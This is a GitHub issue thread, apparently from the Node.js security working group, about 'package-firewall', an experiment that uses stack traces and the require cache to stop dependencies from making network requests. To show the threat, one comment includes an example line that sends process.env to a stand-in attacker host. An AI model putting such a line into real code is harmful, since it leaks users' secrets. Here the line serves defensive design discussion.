Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Userspace network access control experiment #580

Closed
naugtur opened this issue Sep 29, 2019 · 10 comments
Closed

Userspace network access control experiment #580

naugtur opened this issue Sep 29, 2019 · 10 comments
Labels

Comments

@naugtur
Copy link

naugtur commented Sep 29, 2019

I was playing around with a concept of controlling network access and came up with a way to leverage stack traces to track where access to network is requested while security polices in core don't exist yet.

The approach to blocking is pretty naive, I'm aware this can be circumvented by spawning a child process at this point, but seems to have a chance of working otherwise. Did I miss anything obvious?

https://www.npmjs.com/package/package-firewall

@lirantal
Copy link
Member

@naugtur cool stuff. have you seen nodejs/node#22112 ?

@naugtur
Copy link
Author

naugtur commented Sep 29, 2019

I need to follow security wg more closely, there's a lot of interesting stuff going on.

22112 is about process level access control, which - while interesting and badly needed - is not what I'm solving for. My usecase is preventing a dependency from doing something like:

request(`http://ev.il/${JSON.stringify(process.env)}`)

while generally being able to make outgoing http requests from the app logic regardless of libraries used.
So this is a module-level permission. Snapshot-based for ease of use.

@lirantal
Copy link
Member

oh yeah, I know it's about process level but that PR lead to a discussion around dep-level controls as well. Some of which are:

  1. This comment: process: initial impl of feature access control  node#22112 (comment)
  2. This issue: Suggestion: add standard methods to limit APIs dependencies can use package-maintenance#92

Just thought it would perhaps help add more context for you :)

@naugtur
Copy link
Author

naugtur commented Sep 29, 2019

Thanks. I should also find the slack channel where this is discussed I guess.

Looking forward to feedback on this experiment. Meantime I'll get more familiar with what other people were doing.

@sam-github
Copy link
Contributor

package-firewall reviews all stack traces leading to requiring a net module

Can't net be found by looking in the require cache, rather than requiring it directly?

@naugtur
Copy link
Author

naugtur commented Oct 12, 2019

I'm setting up a getter on the module cache, so onless module._cache and require cache are references to different objects, this should work. If they are, I can set up the same getter on both.

@fraxken
Copy link
Member

fraxken commented Jul 17, 2022

@naugtur I close the issue since it seem a bit old. Maybe you should push some of your work to the Awesome Node.js Security repo ?

If you continue to do things don't hesitate to reopen an issue and present it to us at a meeting (personally I love this kind of projects ^^).

@fraxken fraxken closed this as completed Jul 17, 2022
@naugtur
Copy link
Author

naugtur commented Jul 17, 2022

Well, this experiment can't work with ESM because it was based on abusing the require cache.
But I'm working on something soooo much better now.
Will present at NodeConfEU 😉

@lirantal
Copy link
Member

Can't wait!

@RafaelGSS
Copy link
Member

RafaelGSS commented Jul 17, 2022

Well, this experiment can't work with ESM because it was based on abusing the require cache. But I'm working on something soooo much better now. Will present at NodeConfEU wink

Ping us when the presentation goes public. I'd love to see.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

5 participants